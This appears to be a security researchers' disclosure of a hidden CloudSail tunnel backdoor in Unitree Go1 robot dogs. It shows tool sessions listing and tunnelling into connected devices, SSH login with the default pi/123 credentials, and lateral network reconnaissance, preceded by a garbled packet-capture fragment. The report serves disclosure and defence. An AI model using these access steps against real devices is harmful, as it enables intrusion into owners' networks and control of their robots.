2 Standard Q 2 Standard Q 3 Standard Q 4 Standard Q 3 S	<pre>warry &amp;xfc29 AAA cloud.thexi.tech warry &amp;xfc29 AAA cloud.thexi.tech warry &amp;xfc29 AAA cloud.thexi.tech warry &amp;xfc29 AAA cloud.thexi.tech warry based a Actual.thexi.tech warry based a Actual.thexi.tech A144.156.146.55 warry response &amp;xfc29 AAAA cloud.thexi.tech A144.156.146.55 warrestable(AFT warreschable) warry compare &amp;xfc29 AAAA cloud.thexi.tech A144.156.146.55 warrestable(AFT warreschable) warry based a Actual.thexi.tech A144.156.146.55 warrestable(AFT warreschable) warreschable(AFT warreschable) warrestable(AFT warreschable) warreschable(</pre>
Image         Image           Image         Image         Imagee           Image         <	Source         Desiloat           100, 100, 57, 114         100, 170, 57, 114         100, 170, 57, 114           100, 100, 57, 114         100, 177, 174         100, 170, 174, 170, 177, 170, 170, 170, 170, 170, 170	Constraint         Protocol           0.34         DKS           0.210         DKS           0.220         DKS           0.234         DKS           0.34         DKS           0.37.114         DKS <tr< td=""><td>Length Info 78 Standard Q 78 Standard Q 79 Standard Q 79 Standard Q 79 Standard Q 94 Standard Q 94 Standard Q 94 Standard Q 120 Standard Q 95 Standard Q 87 Standard Q 87 Standard Q 83 Standard Q 83 Standard Q 83 Standard Q 83 Standard Q 131 Standard Q 133 Standard Q 135 Standard Q 137 Stand</td><td><pre>wery &amp;xfc29 AAA cloud.rhexi.tech wery &amp;xfc29 AAA cloud.rhexi.tech A124.156.146.55 wery response &amp;xfc29 AAA cloud.rhexi.tech A124.156.146.55 wery response &amp;xfc29 AAA cloud.rhexi.tech A124.156.146.55 wery &amp;xfc29 AAA cloud.rhexi.tech A124.156.146.55 wery &amp;xfc29 AAAA cloud.rhexi.tech wery &amp;xfc19 AAAA cloud.rhexi.tech A111.23e.24.289 wery &amp;xfc19 AAAA ifconfig.cloud.rhexi.tech A111.23e.24.289 wery wordsh A11fconfig.cloud.rhexi.tech wery wordsh A11fconfig.chexi.tech wery wordsh A11fconfig.chexi.tech A111.23e.24.289 wery wordsh A11fconfig.chexi.tech wery wordsh A11fconfig.ch</pre></td></tr<>	Length Info 78 Standard Q 78 Standard Q 79 Standard Q 79 Standard Q 79 Standard Q 94 Standard Q 94 Standard Q 94 Standard Q 120 Standard Q 95 Standard Q 87 Standard Q 87 Standard Q 83 Standard Q 83 Standard Q 83 Standard Q 83 Standard Q 131 Standard Q 133 Standard Q 135 Standard Q 137 Stand	<pre>wery &amp;xfc29 AAA cloud.rhexi.tech wery &amp;xfc29 AAA cloud.rhexi.tech A124.156.146.55 wery response &amp;xfc29 AAA cloud.rhexi.tech A124.156.146.55 wery response &amp;xfc29 AAA cloud.rhexi.tech A124.156.146.55 wery &amp;xfc29 AAA cloud.rhexi.tech A124.156.146.55 wery &amp;xfc29 AAAA cloud.rhexi.tech wery &amp;xfc19 AAAA cloud.rhexi.tech A111.23e.24.289 wery &amp;xfc19 AAAA ifconfig.cloud.rhexi.tech A111.23e.24.289 wery wordsh A11fconfig.cloud.rhexi.tech wery wordsh A11fconfig.chexi.tech wery wordsh A11fconfig.chexi.tech A111.23e.24.289 wery wordsh A11fconfig.chexi.tech wery wordsh A11fconfig.ch</pre>
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# **Tunnel services**

## CloudSail

CloudSail (Zhexi) is a remote access tunnel service developed by Zhexi Technology, primarily targeted at Chinese markets. The service is designed to provide NAT traversal and remote access capabilities for IoT devices, industrial equipment, and other networked systems. While the service itself is a legitimate tool for remote device management. It can be compared to ngrok, cloudflare tunnel etc.

To understand the CloudSail service and its capabilities more read the FAQ: https://jmz.zhexi.tech/faq/

### What can the service do?

The CloudSail service can establish a connection from any device to another, even across different networks, depending on your configuration.

For example, you could open a TCP connection to a connected device: the client on the device connects to the CloudSail network, allowing you to route connections to services running on that device.

This means if an SSH daemon is running on the client device, you could connect to it through CloudSail, even if the local network blocks incoming connections or lacks port forwarding — effectively circumventing NAT and firewall restrictions.

This can be especially useful when your device is on a mobile network with CGNAT or similar configurations, which would typically prevent external access. However, this level of access can also be dangerous. The decision to enable such functionality should always remain with the user, not the manufacturer.

## Alternative Tunnel Client (NPS/NPC) - Development Leftover

The codebase includes remnants of an older attempt to implement remote access using NPS (NPC client).

This appears to be a leftover from development, with:

- NPC client startup commented out in launch scripts
- No evidence of active use in production
- Included configuration file matching a default example from: https://github.com/ehang-io/ nps

While inactive, this leftover code hints at poor code review and cleanup practices from Unitree. Best practices recommend removing unused components to reduce the attack surface.

# **CloudSail API Access and Connected Devices**

We obtained a Unitree CloudSail API key during our research, allowing full access to the CloudSail API. This enabled listing connected machines (internal and external IPs) and creating tunnels to active clients.

## **Connected devices**

We found 1,919 devices connected to the service at some point. Filtering for active devices showed two still online. Here a screenshot of the tunnel\_manager we wrote to interface with the system:

(env) → go1 python3 unitree_tunnel_manager.py							
Welcome to Binárys Unitree Tunnel Manager Type 'help' for available commands							
> help							
Available commands: p, print [filter] - Print machine list (optional fi Filters: - m <machine_name> - Filter by machine name - i <ip> - Filter by IP or Public IP - s <state> - Filter by state (active/inac: n, next - Show next page b, back, prev - Show previous page u, update - Update machine data h, help - Show this help q, quit, e, exit - Exit the program t, templates - List valid tunnel templates Options: - type &lt;0,1,2,5&gt; - Tunnel type (TCP/HTTP/HTTPS, - t &lt;0,3,254,255&gt; - Template type - b &lt;1-24&gt; - Bandwidth in Mbps ssh, connect <machine_name> - Create SSH tunnel for Options: - t <template_id> - Specific template ID (optiona' analyze, dns - Perform reverse DNS lookup export, csv [filename] - Export all data to CSV file Example: p -m raspberrypi -s active &gt; update</template_id></machine_name></state></ip></machine_name>	Lters) tive) /UDP) a machine L)						
Starting data update Update complete! Total machines in database: 1919	]	100% (1919/1919)					
> print -s active Total machines in database: 1919							
☴ Current Machines (Page 1/1) ☴ ID Name	IP	Public IP	Organization	Status	Last Active		
				Active Active	2025-03-14 2025-03-14		
Showing 1-2 of 2 records Use 'n' for next page, 'b' for previous page, 'q' to return to command mode > ssh 2							
Creating SSH tunnel for(ID: Using template: 0 Local port: 22		)					

As you can see there is a total of 1919 devices that were obtained during the update, if we filter for active devices we get 2 devices that are currently active.

By using our own tunnel manager tool we are able to create a tunnel to any active client.

(env) → go1 python3 unitree_tunnel_	_manager.py							
Welcome to Bin4rys Unitree Tunnel Ma Type 'help' for available commands	anager							
> 0								
Starting online machines update Fetching online machines from API Found 2 online machines. Preparing t Marked all machines as offline. Now Update complete! Online machines: 2/	:o update updating online ∣ ′1919	machines=====	=====] 100%	(2/2)				
Showing active machines:								
☴ Current Machines (Page 1/1) ☴ ID	Name	0S	IP	Public IP	MAC	Organization	Status	Last Active
	DESKTOP-KSRIKO raspberrypi	Windows 10 Pro Debian GNU/Lin	10.0.4.3 192.168.123.16			N/A N/A	Active Active	2025-03-16 2025-03-16
Showing 1-2 of 2 records Use 'n' for next page, 'b' for previous page, 'q' to return to command mode > connect :								
Fetching available TCP templates								
No valid TCP templates found. Will c	create a new temp	late.						
Creating tunnel for raspberrypi (ID: Created new tunnel template: ' ^C Use 'exit' or 'quit' to exit properl	-y		) to port 8	39				
> connect :	-port	80						
Fetching available TCP templates								
No valid TCP templates found. Will c	create a new temp	late.						
Creating tunnel for raspberrypi (ID: Created new tunnel template: '			) to port 8	30				
Tunnel created successfully! Remote Domain: Remote Address: Remote Port: 14004								
Remote 1a:	;							

In this example we created a tunnel to one of the clients on port 80. For the demonstration purpose we connect to our own robot dog of course, but we could use any active device.



We are greeted by the Unitree Webinterface by opening the tunnel IP and port in a web browser, which allows us to view the dogs cameras as well as doing basic control of the dog. The Webinterface is conveniently reachable without any login credentials.

#### 21.03.2025

Of course we are also able simply open a tunnel for port 22 and login via SSH, the robot dogs are delivered with default credentials of pi/123, if not changed we can use them to login, as the following screenshot demonstrates. After connecting to the RPI via ssh it is easily possible access the local network of the robot dog. And attacker would be able to move lateral inside the network from here. See this screenshot of us connecting to our own dog via the CloudSail tunnel.

```
pi@raspberrypi:~/Unitree/sdk/unitree_legged_sdk/build$ arp -a
MacBookAir.localdomain (192.168.0.204) at 8e:b0:60:7a:df:fb [ether] on wlan0
? (192.168.123.13) at 48:b0:2d:2e:df:98 [ether] on eth0
? (192.168.123.1) at <incomplete> on eth0
? (192.168.123.10) at 00:80:e1:00:00:00 [ether] on eth0
? (192.168.123.14) at 48:b0:2d:3e:06:2e [ether] on eth0
? (192.168.123.15) at 48:b0:2d:55:2e:6e [ether] on eth0
? (192.168.0.181) at 34:9f:7b:fb:c9:f3 [ether] on wlan0
dns.google (8.8.8.8) at <incomplete> on wlan0
unifi.localdomain (192.168.0.1) at 62:22:32:9e:c8:84 [ether] on wlan0
pi@raspberrypi:~/Unitree/sdk/unitree_legged_sdk/build$ ping MacBookAir.localdomain
PING MacBookAir.localdomain (192.168.0.204) 56(84) bytes of data.
64 bytes from MacBookAir.localdomain (192.168.0.204): icmp_seg=1 ttl=64 time=7.59 ms
64 bytes from MacBookAir.localdomain (192.168.0.204): icmp_seq=2 ttl=64 time=22.5 ms
64 bytes from MacBookAir.localdomain (192.168.0.204): icmp_seq=3 ttl=64 time=10.6 ms
64 bytes from MacBookAir.localdomain (192.168.0.204): icmp_seq=4 ttl=64 time=20.3 ms
64 bytes from MacBookAir.localdomain (192.168.0.204): icmp_seq=5 ttl=64 time=180 ms
64 bytes from MacBookAir.localdomain (192.168.0.204): icmp_seg=6 ttl=64 time=114 ms
^C
--- MacBookAir.localdomain ping statistics -
6 packets transmitted, 6 received, 0% packet loss, time 12ms
rtt min/avg/max/mdev = 7.587/59.240/180.194/65.264 ms
pi@raspberrypi:~/Unitree/sdk/unitree_legged_sdk/build$
```

Due to this we were interested who is and was connected to the service and we checked the public IPs that we got from the CloudSail API for clues.

Most of the machines are located in China, but as expected some are outside of China, apart from some residential IPs we were able to identify several University IPs and some corporate networks from around the world.

Here are the Universities that were at least once connected to the tunnel network as an example:

USA: MIT, Princeton University, University of Massachusetts Amherst, Carnegie Mellon University Canada: University Waterloo Germany: Hochschule Coburg New Zealand: University of Otago Australia: UNSW Sydney, Deakin University Japan: Shinshu University

There might be more that we did not identify.

Interesting side note, some people are running their dogs through the Starlink network, maybe for fun, maybe because they are working with the robots in a remote location? We cannot know, but it is just interesting to see.

During the research, we also found the subdomain <u>https://tunnel.unitree.com/</u>, which seems to be a service where you can buy a tunnel to a robot for a day. The website is in Chinese and mentions a current "test phase", but the website appears abandoned.

The payment page leads to an error about the region, hinting that the service may have been maybe intended only for mainland China use.



The question which arises is of course, did Unitree want to include this for China only? Did they plan to roll out a remote control service to the public but never follow through? If it was meant for China only, why do all robot dogs around the world automatically enroll in the tunnel service? Is it intentional or just sloppy? Is this unfinished tunnel payment page just an excuse in case someone notices that there is a tunnel client pre-installed on the dogs? Guess we will never find out for sure, and it doesn't matter.

Of course, it is impossible to determine for us whether or not abuse was done with the tunnel without analyzing logs of robots and networks.

We strongly advise everyone with such a robot to remove it from the network permanently, as well as examine all available logs to check if their network was breached.

## Conclusion

Unitree did pre-install a tunnel without notifying its customers. Anybody with access to the API key can freely access all robot dogs on the tunnel network, remotely control them, use the vision cameras to see through their eyes or even hop on the RPI via ssh.

If this was abused or not does not matter in this case. The mere presence of this service without letting the user know is not a good practice and can be seen as malicious.

If the service were to be present for the user convenience, it should be disabled by default and let the user enable it on demand to control their own dog remotely.

The use of such tunnel services do have a wide aspect of legitimate use-cases, the concerning thing is running such a service without user-knowledge. In this case, as this service is installed and operated without user consent we clearly need to label it backdoor.

These robot dogs are marketed at a wide spectrum of use-cases, from research in Universities, search and rescue missions from the police to military use cases in active war. Imagining a robot dog in this sensitive areas with an active tunnel to the manufacturer who can remotely control the device at will is concerning.

By now we did not do any investigation into the Go2 version of the Robot dog, the Humanoid or any other device from the manufacturer, it might be possible that there is a similar backdoor installed on these devices.